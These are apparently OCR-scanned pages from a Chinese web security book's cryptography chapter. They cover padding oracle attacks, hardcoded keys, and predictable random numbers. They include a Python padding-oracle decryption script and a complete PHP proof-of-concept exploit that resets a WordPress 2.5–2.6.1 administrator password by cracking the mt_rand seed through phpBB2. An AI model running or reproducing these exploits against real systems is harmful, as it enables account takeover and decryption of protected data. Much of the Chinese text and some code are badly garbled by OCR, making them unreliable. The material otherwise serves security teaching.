while block > O:
# we need the intermediary value
tmp = padding oracle decrypt block(cipher, prev cipher, iv nouse, block size,
debug=False)

# calculate the iv, the iv is the ciphertext of the previous block
prev_cipher = xor str( plaintext[block-block size:block], tmp["intermediary"] )

#save result
guess _cipher = prev cipher + guess cipher

block = block - block_size
return guess_cipher
def padding oracle decrypt (cipher, ciphertext, iv, block size=8, debug=True) :
# split cipher into blocks; we will manipulate ciphertext block by block
cipher block = split cipher block(ciphertext, block size)
if cipher block:

result = {}
result["intermediary"] = "'
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result["plaintext"] = "'

counter = 0
for ¢ in cipher block:
if debug:
print "[*] Now try to decrypt block "+str (counter)
print "[*] Block "+str(counter)+"'s ciphertext is: "+hex s (c)
print
# padding oracle to each block
guess = padding oracle decrypt block(cipher, ¢, iv, block size, debug)

if guess:
iv = ¢
result["intermediary"] += guess["intermediary"]
result["plaintext"] += guess|["plaintext"]

if debug:
print
print "[+] Block "+str(counter)+" decrypt!"
print "[+] intermediary value is: "+hex s(guess["intermediary"])
print "[+] The plaintext of block "+str (counter)+" is: "+guess["plaintext"]
print

counter = counter+l

else:
print "[-] padding oracle decrypt error!"

return False

return result

else:
print "[-] ciphertext's block size is incorrect!"
return False

def padding oracle decrypt block(cipher, ciphertext, iv, block size=8, debug=True):
result = {}

plain = "'
intermediary = [] # list to save intermediary
iv p = [] # list to save the iv we found

for 1 in range(l, block size+l):
iv_try = []
iv p = change iv(iv_p, intermediary, i)

# construct iv
# iv = \x00... (several 0 bytes) + \x0Oe(the bruteforce byte) + \xdc...(the iv bytes
we found)
for k in range (0, block size-i):
iv_try.append ("\x00")

# bruteforce iv byte for padding oracle
# 1 bytes to bruteforce, then append the rest bytes
iv_try.append ("\x00")

for b in range (0,256) :

iv_tmp = iv_try
iv_tmp[len(iv_tmp)-1] = chr(b)
iv_tmp s = ''.join("%s" % ch for ch in iv_tmp)

# append the result of iv, we've just calculate it, saved in iv p
for p in range(0,len(iv p)):
iv tmp s += iv p[len(iv p)-1-p]
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# in real attack, you have to replace this part to trigger the decrypt program
#print hex s(iv_tmp s) # for debug

plain = decrypt (ciphertext, iv tmp s, cipher)

#print hex s(plain) # for debug

# got it!
# in real attack, you have to replace this part to the padding error judgement
if check PKCS5 padding(plain, 1i):

if debug:
print "[*] Try IV: "+hex s(iv_tmp_ s)
print "[*] Found padding oracle: " + hex s(plain)

iv_p.append (chr (b))
intermediary.append(chr (b ~ 1i))

break
plain = "'
for ch in range (0, len(intermediary)):
plain += chr( ord(intermediary[len(intermediary)-1-ch])

A

ord(iv[ch]) )

result["plaintext"] = plain
result["intermediary"] = ''.join("%s" % ch for ch in intermediary) [::-1]
return result

# save the iv bytes found by padding oracle into a list
def change iv(iv_p, intermediary, p):
for i in range(0, len(iv p)):
iv_p[i] = chr( ord(intermediary[i])
return iv p

A

P)

def split cipher block(ciphertext, block size=8):

if len(ciphertext) % block size != 0:
return False

result = []

length 0

while length < len(ciphertext):
result.append (ciphertext[length:length+block size])
length += block size

return result

def check PKCS5 padding(plain, p):

if len(plain) % 8 != 0:
return False

# convert the string
plain = plain[::-1]
ch =0
found = 0
while ch < p:
if plain[ch] == chr(p):
found += 1
ch += 1

if found == p:
return True
else:
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return False

def add PKCS5 padding(plaintext, block size):
s = '
if len(plaintext) % block size ==

return plaintext

if len(plaintext) < block size:
padding = block size - len(plaintext)
else:
padding = block size - (len(plaintext) % block size)

for i in range (0, padding) :
plaintext += chr (padding)

return plaintext

def decrypt (ciphertext, iv, cipher):
# we only need the padding error itself, not the key
# you may gain padding error info in other ways
# in real attack, you may trigger decrypt program
# a complete blackbox environment
key = ENCKEY

if cipher.lower () == "des":

o = DES.new (key, DES.MODE CBC, iv)
elif cipher.lower () == "aes":

o = AES.new (key, AES.MODE CBC,iv)
elif cipher.lower () == "des3":

o = DES3.new(key, DES3.MODE CBC,iv)
elif cipher.lower() == "blowfish":

o = Blowfish.new(key, Blowfish.MODE CBC,iv)
elif cipher.lower () == "cast":

o = CAST.new(key, CAST.MODE CBC,iv)
elif cipher.lower () == "arc2":

o = ARC2.new (key, ARC2.MODE CBC,iv)
else:

return False

if len(iv) % 8 != 0:
return False

)

if len(ciphertext) % 8 != O:
return False

return o.decrypt (ciphertext)

def encrypt (plaintext, iv, cipher):
key = ENCKEY

if cipher.lower () == "des":
if len(key) != 8:
print "[-] DES key must be 8 bytes long!"

return False
o = DES.new (key, DES.MODE CBC, iv)

elif cipher.lower () == "aes":
if len(key) != 16 and len(key) != 24 and len (key) != 32:
print "[-] AES key must be 16/24/32 bytes long!"

return False



113 AL SHNE 251

o = AES.new (key, AES.MODE CBC,iv)

elif cipher.lower () == "des3":
if len(key) != 16:
print "[-] Triple DES key must be 16 bytes long!"

return False
o = DES3.new(key, DES3.MODE CBC,iv)

elif cipher.lower () == "blowfish":
o = Blowfish.new(key, Blowfish.MODE CBC,iv)
elif cipher.lower () == "cast":
o = CAST.new(key, CAST.MODE CBC,iv)
elif cipher.lower () == "arc2":
o = ARC2.new (key, ARC2.MODE CBC,iv)
else:

return False
plaintext = add PKCS5 padding(plaintext, len(iv))
return o.encrypt (plaintext)
def xor str(a,b):

if len(a) != len(b):
return False

c ="'
for i in range (0, len(a)):

¢ += chr( ord(al[i]) »~ ord(b[i]) )
return c

def hex s (str):

re = ''

for i in range(0,len(str)):
re += "\\x"+binascii.b2a hex(str[i])
return re

if name == "_main ":

main (sys.argv)

Padding Oracle Attack [¥] JCHEAE T BUli 4 Ae 8 SR ANAR 2 (1) 45 R 2 5 77 padding. 7ESZHLAN
i CBC #1y2r AUn s Sk, i RIX— i BT,

11.6 ZBFAEIE

FER 2 BT AN FEA R 0 B 2R e 1) 22 e PR NAZ O T B 28, T AN
TR IR

TR, P — R I FEA R WA Fs, M S L, L
SR B S, BB I SHEA S B SR D, it AR S AT 2235 B B % 4
FHFRRZ o 0P TR UG, AT 2R TR I 5k, PR AEASIE L — L0y
Bl WA G DA IR

FHEEPRE LR, LR EAEREANRR. ar M B, Bk Hash
ok (1 st i i A XA PR TN
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public boolean VerifyAdmin (String password) {
if (password.equals ("68af404b513073584c4b6£22b6c63e6b")) {
System.out.println ("Entering Diagnostic Mode...");
return true;
}
System.out.println("Incorrect Password!");
return false;

FIRER), A2 28], 25440 salt 55 “key” MRS AEARRD Y, JEARF AL 1) B

File saveFile = new File("Settings.set");
saveFile.delete () ;
FileOutputStream fout = new FileOutputStream(saveFile);

//Encrypt the settings

//Generate a key

byte key[] = "My Encryption Key98".getBytes();

DESKeySpec desKeySpec = new DESKeySpec (key) ;

SecretKeyFactory keyFactory = SecretKeyFactory.getInstance ("DES") ;
SecretKey skey = keyFactory.generateSecret (desKeySpec) ;

//Prepare the encrypter

Cipher ecipher = Cipher.getInstance ("DES");
ecipher.init (Cipher.ENCRYPT MODE, skey);

// Seal (encrypt) the object

SealedObject so = new SealedObject (this, ecipher);

ObjectOutputStream o = new ObjectOutputStream(fout);
o.writeObject (so);
o.close();

T HEXBA R A AN ITRE RS, BRI TP, TR A PIRER] TS

function toSubmit ($payment) {
$merId = $this->getConf ($payment['M OrderId'], 'member id'); //Wk%
SpKey = Sthis->getConf ($payment['M OrderId'], 'PrivateKey');
$key = $pKey==''?'afsvgq2mqwc7j0i69uzvukgexrzd0jqg6h' : $pKey; //FEHE
Sret url = $this->callbackUrl;
$server url = $this->serverCallbackUrl;

AL e B, AELLT LR DL T AT BEAGHTE # .

oA AR R . IR R AR LT ST A IR AT, (H 4
PEJ I HERISCA T B, AT RERI ) TR S g e i, A A )R

SREAETT R BN R e oy A RE A A A, AT RN g0 ) P o T A 14T A PR e B3 B 2R
SIPEROR,  WAT RE2s bttt i A o

T S P DL, WSR-S S PR G D AE ARG R, JRAT M AT, Diffie-Hellman A2
EYMAR, ERARPIRTEE R 7> 5 T T28 A OL, R BEE I o5 a8 1A PR AR
JrE.

X Web BFRUE, W WML SR EH (RIEEE) REERECHREHIEES,

AEALE P IR FRRE P 52 8 B O IN2800E A7 o 5 B BT P P 8 SO el 1 At 4 D7 1) AL
B, ]It S fRds 4Bl DBA FH R A5 1) AR R D -
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E R R A B ARSI, 75 2 FOR A R ) 8 P e i, LS 5 A 58 A )
AT o

HBHOLANRZ A, HYVEHARGMAEUGIES PN 2t HmBeahE R T4
webshell, HSAZ# gl B4 TR 00— UIBUR - i 3~ 13 (K 8 R P Al 5 248 2 1,
DAL S B (R P T AN R BEBR T 15 webshell [ “1EH” 373K

B MM ELEEN, 2 TP AR IR SETE M R S A P A
RS . — AN RIS ARG, rTLLE T A 3 CRLHE— SeRUR e & ST # 4R
HORAAE— MRS Ay R b, Jfiliit Web Service 117 B HESRECE I APL. B~ Web
N AR T AR S, P GIES B APL iR SIS RS, SIS . Web N
AR S AAH S, HUmE BN AE, XSRS T i KRR B R T 2% B I FA
PEo LD EH, KT RSN TEHRRSME, WARIT e 6.

11.7  {RBBHLEUGIRT

HBENLEL (pseudo random number) [ @—— 4 BEALECA L BENL, R IT R I —
AR 7, R 2T R X ITT T 2 A A Bk, IR S S A AR 5
— 7, Dy REATLE Il B Bk 77 A 2 B O T # AR AR T B, ERAIER], BRI AR B IRRE
¥ GUEAM RS I, B A3 s B A 74y

{(ER7STSERVIR - Q1 e 1IN N 109 Rt e o 11 5 T B = 2
A BEALEG AR EOERIBEHLE . B L O BN AZ L AN T IS AR o Y “ BT
BEBLEC, W — LY PR G A K BERLEL, e dn i e sl AT Sk 1/ 5 I ) 3T
NI 1R 3 0l

11.7.1 5504 BEVLELEY FR Kt
2008 £ 5 H 13 H, Luciano Bello & ¥ T Debian ) OpenSSL {1 th 7748 55 L BEHL B2 o

PAAEIAN R SR, d g R e AR (warning) L, DRI T ACRS AR B
Ip

MD Update (&m,buf,j) ;
[ .. 1]
MD Update (&m,buf,j); /* purify complains */

XHEEZSFEE R, 7F OpenSSL IthRENIA A B LT, ME— MBI 72 pid. TM7E
Linux R4, pid B (EH 2 32768, X & —/MR/ANWTEH, DRI nT DU PRl H B 1)
BENLE. Z BRI, M 2006.9 F 2008.5.13 [ debian *F- 5 FAE AT ssh key HIANEUE
AR, RS ] LA [y ok, 1K AN R T E I . [N A2 2520 5 OpenSSL A=
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% key PL& OpenVPN “E LT key o
Vendor Tools
= Openssl Kev Blacklist

- Opens5H Kev Blacklist
- QOpenVPN Kev Blacklist

Debian [iJ5 215 11X L8R LA D ¥ key (K144 50 IXRFAFISE AR, Wik 2 HIT R
H T AR ITE Py B M LR 22 4 ) L

FAHEH NHIXMI 1. 46 Sun Java 6 Update 11 Z 7 [ createTempFile()*H /£ 7E — A Bl AL
HAT T PR I, A IS TR] P AR R ) B AL B S B B R G . Chris Eng IR T IX AN 1)
il

java.io.File.createTempFile (deploymentName, extension);

SRR AU T AR N H o, FESEELRS W E

private static File generateFile(String s, String sl, File file)
throws IOException

{

if (counter == -1)
counter = (new Random()) .nextInt() & Oxffff;
counter++;
return new File(file, (new
StringBuilder ()) .append(s) .append(Integer.toString(counter)) .append(sl).toString());

}

public static File createTempFile(String s, String sl, File file)
throws IOException

{

File filel;
do
filel = generateFile(s, s2, file);
while (!checkAndCreate (filel.getPath (), securitymanager)) ;
return filel;

7F Linux AR Bk .

1
1
1
1
1:
1
1
1
1
1

SO A4 AL SR 2E B
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SCAFALFE I A (28

A LA 21 SO 44 42 0P 184K 1
¢ Windows [, AJEH kKA

public static void wain(String[] args) |

£ Auto-generated method stub

File £ = null;

3tring extension = ".tmp":

try {

for (int i=0; i<110000; i++){

f = File.createTempFile("temp™, extension):
FileQutput3tream £i = new FileQutput3tresm(f);

String b="123";
fi.write(b.getBytes()):
fi.flushi):

fi.closel):

System.out.printlnif.getPathi]);
i
catch (ICException e) |
}
'
o

L Froblens| @ Tavadoe [, Daclarstion | Bl Consola 2

terminated> getTemp [Jawa Applicatien] C \Program Flles\Java\Jrel 5.0 DS\bln\Javaw
SV DOCTHE~TY HANQIN~T . WUHY LOCALS~T5 Temp' CeEmp IEURS . Ep

1Y DOCTME~ 1% HANQIN~1 ., WUHY LOCALS~1% Temph temp 18070, trp
114 DOCTTME~ 1% HANQIN~1 . WUH, LOCALS~1% Temph temp 1807 1. tup
1Y DOCTTME~ 1% HANQIN~1 . WUHY LOCALS~1% Temph cemp 18072 . cip
1Y DOCTME~ 1% HANQIN~1 ., WUHY LOCALS~1% Temph temp 18073 . crp
114 DOCTTME~ 1% HANQIN~1 . WUH, LOCALS~1% Temph temp 18074 . tmp

SR A B A 1
AT

import java.io.*;

public class getTemp {
/**
* @param args
=
public static void main(String[] args) {
// TODO Auto-generated method stub
File £ = null;
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String extension = ".tmp";
try {
//for (int 1=0; 1<10; i++) {
f = File.createTempFile ("temp", extension);

System.out.println (f.getPath());
//}
}
catch (IOException e) {
}

XA AR TR BRI SO o 0 R I SO R LA TS0, S A R b 55 JE 3 (R AR [
K PRSP TG SR, RO BRI, 8E N BEREITITA .

FETIIRITT 5, — TR T RENLE S8, 53— J7 THEAN 1B 54 1)

private static File generateFile(String s, String sl, File file)
throws IOException

{
long 1 = LazyInitialization.random.nextLong() ;

if (1 == 0x8000000000000000L)
1 = 0L;
else

1l = Math.abs(1) ;
return new File(file, (new
StringBuilder ()) .append(s) .append(Long.toString(l)) .append(sl).toString());
}

7E Web N, AEHABEHLE I AR5 ) 12 . #05. key. SessionID. token %17 % dF
OB “secret” AEAF A ML O FENLEL SVE A AT . WA T 99 DN BEALELSTYE, IR R
o P ECERE Y E 1 A )

11.7.2 BEIERBEYLIG

RZ O BB S RGN A G, AT AORE e 53 L 2l LA AR Ge i Tl AU A L ) A
Jlo XAEAIBENIE MR TR R, AT DL (o) L EAT T, AT A7 7 22 Al i

et N X B, T P BRI A, 2 RGNV, IR
B HBAE -

function sendPSW () {

Smessenger = &S$Sthis->system->loadModel ('system/messenger') ;echo microtime () ."<br/>";
$passwd = substr (md5 (print_r(microtime(),true)),0,6);

XASHAE ) Spasswd, & H B T microtime() J&, U MDS {E/HT 6 £7. H1T MDS
BV R G A R B, I LSRR T microtime() (K48, FR4Z M RIREM L, BT MR H
$passwd [1I1H
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PHP ) microtime() T MIL G IF MR, — A2, — MR RG LI IR
FOPINERIN A5 25K AR GEINS 1), AT LA AR () D S B, $c/ e ads 18, BV AT RAR Hh B A 1) 3 A
PR AN SRS A AR AR H T B B v R B Y, Ry A PAR R BE AL B i, ISR BB

FEIXA B, ARG RS IR —47, EER T microtime() 2 [FI4E 24 fi VO L, 32X AR
Pt AR HAR A AR AT T 25 ds it a] ;- HLP I I microtime() I 18] (] B AR H 2, [AI ik
WIRFEAE A RPN, Braid s SR BB AT o B 8 R i St e e 4 SR 0

JSy YU L A

FrA, AETFRAEFPIS, V. ANEEHEI TR BR B0 BT

11.7.3 #HEABEVIEE EZFHF
7€ PHP ", ' FRIBENLECE 754G rand(). mt_rand(). X A R B0 B KB L4091 -

<?php

//on windows

print getrandmax();// 32767

print mt getrandmax(); //2147483647
?>

AL, rand() FR9E LSO ARH /N, WERAE AT rand() ZE B BEHLEON T LE 23T,
W AR F SR o

H:52 PHP HH) mt rand() ANEIR %4, Stefan Esser fEAth 3 44 ) paper: “mt_srand and not
so random numbers’” HHEH T PHP AULHBENLER %L mt_rand ()78 SEHL_E A — S ER

9 http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
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PhBENIEE B FIESEEL, EEUEREHLIITTET “Fh T (seed)”. FhF—BEHIE)S,
FHE I R — O BB T R BN L8, HERERK, SXEBERIUTRRE ER

f£ PHP 4.2.0 Z HiIRRA T, RFZM srand() 3¢ mt srand() 4 rand(). mt_rand()#EFh
M: 7E PHP 4.2.0 ZJ5MRAFR AT FTFEF LML srand() mt_srand() #&FF. Loan HE0H H

mt_rand(), R HAEM . AR THCARTIRCA NS, PHP W HIACH B4 51X R
mt srand(time()) ;
mt srand((double) microtime() * 100000);

mt srand((double) microtime() * 1000000);
mt srand((double) microtime () * 10000000);

IXFPREAP I SIS R A AT, HANUE time() A2 nT DA B4 28401, {FH microtime()
AT R0 H S A AR K. e
0< (double) microtime ()<l ---> 0<(double) microtime()* 1000000<1000000

AAFVEELE 0 2 1000000 8], F5f# 100 J3 kBT 7y AT A Ae 7.

7£ PHP 4.2.0 Z Ja (AT, WREA R 23R E seed, 1M EAZMHA] mt_rand(), W
RGN — NN 18 32 ML RS FEARIFERN PR KA A2 2032, DBltbi 2 1
B 2732 ol U seed.

7t Stefan Esser (3R $E 2], Wi ETER— R, W[FE—A seed &K T mt_rand()
AR R TR A A T 1 Pt an S AR
<?php

mt srand (1);

echo mt rand().'<br/>';
echo mt_rand().'<br/>';
echo mt_rand() .'<br/>"';
echo mt rand().'<br/>';
echo mt_rand().'<br/>';
echo mt_rand() .'<br/>"';
echo mt rand().'<br/>';
?>

ol vl LS 1 A
= C O www. a.com/test. php

1244335972
15217923

1546885062
2002651684
2135443977
1365258162
1509498899

2 Wi AR B[R FE SR
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[ http:ffwww. s comftest. php - Tindows Internet Explorer

——

Ig hitp:/fwww. a comftest php
| Eft® REE HEW W@Ee IRE@ Fw
fj [l 28 @http:f’fwww.a comftest. php | |

1244535972
15217323
1546585062
2002651654
7135443977
1865258162
1509493599]]

ATLLFE 2 seed MIEMS, 25— IRENZE n JGHELL mt_rand() /A RIS EA K AEAAL .
FESTAEIXAN TR b, teT AR B Rl AT B 5
(1) L2770 A R 1 O AE
(2) L mt_srand ()X A5 it Ol (ELREA TRl
(3) LR Z 8, THAHS R mt_rand()7 2B OY BEHLECRI -
s LA LT AR A 9], e dn A T BE A LA Aol

<?php

mt srand ((double) microtime() * 1000000);
echo mt_rand() .'<br/>"';

echo mt rand().'<br/>';

echo mt _rand().'<br/>';

echo mt_rand() .'<br/>"';

echo mt rand().'<br/>';

echo mt _rand().'<br/>';

echo mt_rand() .'<br/>"';

?>

R )R AT 2 R A B, 32 PO b1 45 AR AR A 7 AR 1 o

€ C O wwy.a. con/test. php

8
166426770
567030072
19479938197
B5TZ3550T
2098802447

s DA —ANBENLEME: 466805928, TSGR HF R JLAFENLERE ? R aEE
i i H 2 iy R BT
<?php

if (Sseed = get seed()) {
echo "seed is :".$seed."\n";
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mt_srand ($seed) ;

echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";

}

function get seed() {
for ($1=0;%$1<1000000 ;Si++) {
mt srand($i);

//mt_rand(); // XNZFHJLXMHnt _rand ()
$str = mt_rand(); // FEXREIHRF R mt_rand()

if ($str == 466805928 ) // XJLUBEHIEME
return $i;
}

return False;

}

?>

RAERIL: Fh 5 812504 I, BT A BEHLECH ARSI ik 1

i EERNAE, 7 PHP 5.2.1 X2 Ja IRRCA il B T BB AR %, HERBERAZ,
DR SR A 5 I, 75 SEAEXT K PHP RO FRas AT S5 R e«

7E Stefan Esser [F)3CH AR T —/AN/NTY, w LUl k1% Keep-Alive HTTP 3k, 1Al ik
S5 e A% [ PHP EFEWIN K, TAE% PHP MERE A,  BEMLECAE AT I RS — TR 3% Fl
—W,

TE—A Web N, AR Z #7575 n] DUREXEIBEN LA, IS AE55 i@ #h -1 1 n] fig. Stefan

Esser #2fit 7 —Hf “Cross Application Attacks” ¥ i, R i i — AN A 5L Fal [=] ) BEAL
AR, A R At Y FH A= B AT {1

mt srand ((double) microtime() * 1000000);
$search id = mt rand();

RS54 $search_id R [0 2 G b, WBCEE 50RT BES A LY 2w OBl

AP B SE AT AT, B — ARG5S A LRI 223 T WordPress 15 phpBB, A LLifi1d phpBB
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AR, SR A H WordPress % M ER [F] T BEN Al HH T A2 5 i) %3 - Stefan Esser fiiAIXA™
Wi R T

(1) ffiH] Keep-Alive HTTP i 3K/t phpBB2 Ix TR FFFR a’;

(2D HMRLRSHRIRZ SR, FINEMER T search_id;

(3) ARZE Dy i i A A it s BEALE ) b1

(4) BriF AR AEH] Keep-Alive HTTP SkRI%—/MHE admin ZFAGH1E K4S WordPress blog;
(5) WordPress mt_rand() “FEmeffiiAiEs:, FFRIE 206 B DL HBAH

(6) Bl s A AR, W LUR 3 L Al DA B L

() BEhEHA LB (3R H Keep-Alive 3k), WordPress 5 [n) & BE 53 SFE K328 87 2E %
(e TN

(8) [T A5TEh 0 A 1 mt_rand (ks el BOatid (948 T LS bk
(9) W Bt S 230 T 3 HBP B8
I Raz0r (% 5% IS T4 POC FEf7:

<?php

el ale) N e e e e e e S e e e e e e I \n";
echo "Wordpress 2.5 <= 2.6.1 through phpBB2 Reset Admin Password Exploit\n";
echo "(c)oded by RazOr (http://Raz0Or.name/)\n";

el ale) N e e e e e e S e e e e e e I \n";

if ($ SERVER['argc']<3) {
echo "USAGE:\n";

echo "~~~~n~ \n";

echo "php {$ SERVER['argv'][0]} [wp] [phpbb] OPTIONS\n\n";

echo " [wp] - target server where Wordpress is installed\n";

echo "[phpbb] - path to phpBB (must be located on the same server)\n\n";
echo "OPTIONS:\n";

echo "--wp user=[value] (default: admin)\n";

echo "--search=[value] (default: ‘site OR file')\n";

echo "--skipcheck (force exploit not to compare PHP versions)\n";

echo "examples:\n";

echo "php {$ SERVER['argv'][0]} http://site.com/blog/ http://site.com/forum/\n";

echo "php {$ SERVER['argv'][0]} http://site.com/blog/ http://samevhost.com/forum/
--wp_user=lol\n";

die;

}

set time 1limit (0);
ini set("max execution time",0);
ini set ("default socket timeout",10);

Swp = $ SERVER['argv'][1l];
Sphpbb = $ SERVER['argv'][2];
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for ($i=3;$i<$ SERVER['argc'];$it++) {

if (strpos($_SERVER['argv'][$i],"--wp_ user=") !==false) {
list (,Swp_user) = explode("=",$ SERVER['argv'][$i]);

}

if (strpos($_SERVER['argv'][$i],"--search=") !==false) {
list (,$search) = explode("=",$ SERVER['argv'][$i]);

}

if (strpos($ _SERVER['argv'][$i],"--skipcheck") !==false) ({

$skipcheck=true;

if (!isset (Swp_user)) Swp user='admin';
if (!isset ($search)) $search='site OR file';

Swp parts = @parse url (Swp);
Sphpbb parts = @parse url (Sphpbb) ;

if (isset (Swp_parts['host']))Swp ip = gethostbyname ($Swp parts['host']);else die("[-]
Wrong parameter given\n");

if (isset (Sphpbb parts['host'])) $phpbb ip = gethostbyname (Sphpbb parts['host']);else
die("[-] Wrong parameter given\n");

if (Swp_ip!=Sphpbb ip) die("[-] Web apps must be located on the same server\n");

Sphpbb _host = $phpbb parts['host'];

if (isset (Sphpbb parts['port'])) $phpbb port=$phpbb parts['port']; else $phpbb port=80;
if (isset ($phpbb parts['path'])) $phpbb path=$phpbb parts['path']; else $phpbb path="/";
if (substr ($phpbb_path,-1,1) !="/") $phpbb path .= "/";

Swp_host = $wp parts['host'];

if (isset ($wp parts['port']))$wp port=Swp parts['port']; else $Swp port=80;
if (isset (Swp_parts['path']))$wp path=$wp parts['path']; else $wp path="/";
if (substr ($wp path,-1,1)!="/")Swp path .= "/";

echo "[~] Connecting... ";

$sock = fsockopen ($phpbb ip, Sphpbb port) ;
if (!$sock)die("failed\n"); else echo "OK\n";

Spacket = "GET {$wp path}wp-login.php HTTP/1.0\r\n";

Spacket.= "Host: {$wp host}\r\n";
Spacket.= "Connection: close\r\n\r\n";
Sresp="";

fputs ($sock, $packet) ;
while (! feof ($sock)) {

Sresp.=fgets ($sock) ;
}

fclose ($sock) ;

if (preg match ('@HTTP/1\.(0|1) 200 OKQi', Sresp)) {
if (preg match ('@login\.css\?ver=([\d\.]1+)\'@', Sresp)) Swp26=true;
else $Swp26=false;

} else die("[-] Can't obtain wp-login.php\n");

if (!isset ($skipcheck)) {
echo "[~] Comparing PHP versions... ";
Sout=array () ;
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preg match ('@x-powered-by: *PHP/([\d\.]+)@i',6 $resp,S$out);

if (!isset($Sout[1l]))die( "failed\n[-] Can't get PHP version\n");
else {
if (! (version compare (Sout[1],'5.2.6') &&
version compare (phpversion(),'5.2.6"')) && ! (!version compare (Sout[1l],'5.2.6")
&& !version compare (phpversion(),'5.2.6")) ) {
die ("failed\n[-] Server's and local PHP versions are unacceptable\n");
}
}
echo "OK\n";

Sock = fsockopen ($phpbb ip, Sphpbb port) ;
echo "[~] Sending request to S$phpbb\n";

Sdata =

"search keywords=".urlencode ($search) ."&search terms=any&search author=&search forum=
-l&search time=0&search fields=all&search cat=-l&sort by=0&sort dir=DESC&show results
=topicsé&return chars=200";

Spacket = "POST {$phpbb path}search.php?mode=results HTTP/1.1\r\n";
Spacket.= "Host: {Sphpbb host}\r\n";

Spacket.= "Connection: keep-alive\r\n";

Spacket.= "Keep-alive: 300\r\n";

Spacket.= "Content-Type: application/x-www-form-urlencoded\r\n";
Spacket.= "Content-Length: ".strlen ($data)."\r\n\r\n";

Spacket.= $data;

fputs ($Sock, S$packet);
sleep(5);

Sresp="";
while (! feof (Sock)) {
Sresp = fgets ($ock);
preg match ('@search.php\?search id=(\d+)&amp;Q@', Sresp, $search);

if (isset ($search[1l])) {
$search id = (int)S$search[1];
echo "[+] search id is $search id\n";
break;
}
}
if (!isset ($search id)) die("[-] search id Not Found, try the other --search param\n");
echo "[~] Sending request to S$Swp\n";
Sdata = "user login=".urlencode ($wp user) ."&wp-submit=Get+New+Password";
Spacket = "POST {$wp path}wp-login.php?action=lostpassword HTTP/1.1\r\n";
Spacket.= "Host: {$wp host}\r\n";
Spacket.= "Connection: keep-alive\r\n";
Spacket.= "Keep-alive: 300\r\n";
Spacket.= "Referer: {Swp}/wp-login.php?action=lostpassword\r\n";
Spacket.= "Content-Type: application/x-www-form-urlencoded\r\n";
Spacket.= "Content-Length: ".strlen($data)."\r\n\r\n";

Spacket.= S$Sdata;
fputs ($ock, $packet) ;

$seed = search seed($search id);
if ($seed!==false) echo "[+] Seed is S$seed\n";
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else die("[-] Seed Not Found\n");
mt srand ($Sseed) ;
mt rand() ;

if (Swp26) S$key = wp26 generate password (20, false);
else S$key = wp generate password();

echo "[+] Activation key should be $key\

".
’

echo "[~] Sending request to activate password reset\n";

Spacket = "GET {$wp path}wp-login.php?action=rps&key={$key} HTTP/1l.1\r\n";
Spacket.= "Host: {$wp host}\r\n";

Spacket.= "Connection: close\r\n\r\n";

fputs ($Sock, $packet) ;

while (!feof ($ock)) {

Sresp .= fgets($Sock);
}
if (preg match('/(Invalid username or e-mail) | (BEMEHLY WA BEEWEWSIRR B FFEE SRS ) | (VL
WEME BR M EEEEN lER )/i',Sresp)) die("[-] Incorrect username for wordpress\n");
if (strpos ($resp, 'error=invalidkey') !==false) die("[-] Activation key is incorrect\n");

if (Swp26) Spass = wp26 generate password();
else S$pass = wp generate password();

echo "[+] New password should be $pass\n";

function search seed(Srand num) {
Smax = 1000000;
for ($Sseed=0; $seed<=Smax; $seed++) {
mt srand($seed) ;
Skey = mt rand() ;
if (Skey==$rand num) return $seed;
}

return false;

function wp26 generate password($length = 12, $special chars = true) {

Schars = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
if ( $special chars )

Schars .= '"!1@#S$%"&* ()",

Spassword = '';

for ( $i = 0; $i < $length; $i++ )

Spassword .= substr (Schars, mt rand(0, strlen($chars) - 1), 1);

return $password;

function wp generate password() {

Schars = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Slength = 7;
Spassword = '';

for ( $i = 0; $i < $length; S$i++ )
Spassword .= substr ($Schars, mt rand(0, 61), 1);
return S$password;
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11.7.4 (SFERHAZEZERIBEVIEL
WIL LU, AT AR 255 D8 BENLECH SR 22 4 i, T84 e fig v g ?

FATHE W AEREERBURM RS, o EAE AL s I BENIBUE Sk . 1E Java
W, A LU A java.security.SecureRandom, LL7i1:

try {
// Create a secure random number generator
SecureRandom sr = SecureRandom.getInstance ("SHA1PRNG") ;

// Get 1024 random bits
byte[] bytes = new byte[1024/8];
sr.nextBytes (bytes) ;

// Create two secure number generators with the same seed
int seedByteCount = 10;
byte[] seed = sr.generateSeed (seedByteCount) ;

sr = SecureRandom.getInstance ("SHA1PRNG") ;
sr.setSeed(seed) ;
SecureRandom sr2 = SecureRandom.getInstance ("SHAIPRNG");
sr2.setSeed(seed);

} catch (NoSuchAlgorithmException e) {

}

M AE Linux 7, 7] LI# FH/dev/random 5% /dev/urandom 4= acBaNLET, N E BRI a] .

int randomData = open ("/dev/random", O RDONLY) ;

int myRandomInteger;

read (randomData, &myRandomInteger, sizeof myRandomInteger) ;
// you now have a random integer!

close (randombData) ;

MAE PHP 5.3.0 M Z G HRCA, #72SCKF openSSL 7 g, 1A DL F H4d F pR HOk A4 1k
SR IRAE
string openssl random pseudo_bytes ( int $length [, bool &$crypto strong 1 )

bR 7 LA EJTIRSN, W LR R LG 2 AN BN AL, DA I BEA LA ) SR 2 k. bedn
W25 BEALEE ] MDS 5925, RSBV AT, SRS 16 MDS 505K XTI,
K AR R b 1 0 ek R HE P

11.8 /N4

FEAFRR] A4 T 5 I A DR — S e A i, SRS 2 e — AN R A, AR
MR BR, BTG IR E B R 22 R T AT 8, F Web 224, JRAT 5 SC 0o R SR FH Lp in 235 500 %,
M A P B, AR st g B ALK

FENNE SRR R b, A7 LN oSt ik
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(1) ANEAEH] ECB #i3X;

(2) ANEATHR R (Ll RC4);

(3) fiiJ§ HMAC-SHA1 U MD5 (££58 2408 SHAD:;

(4) ANBAFFHAHF ) key AR )4

(5) salts 55 IV T 2R E

(6) AT SN A, R 2 A8 R O ST Y
(1) ANEMAR G IR

PR B Z A RN, A7 AT

(1) {1} CBC ) AES256 T s

(2) {fH HMAC-SHAS12 F T 5 B PEAG x5

(3) i HH77 salt ff) SHA-256 5 SHA-512 T Hashing.



(¥ ) Understanding MD5 Length Extension Attack?

2009 %, Thai Duong 5 Juliano Rizzo® RAULE A T ASPNET 4 Padding Oracle X &, F
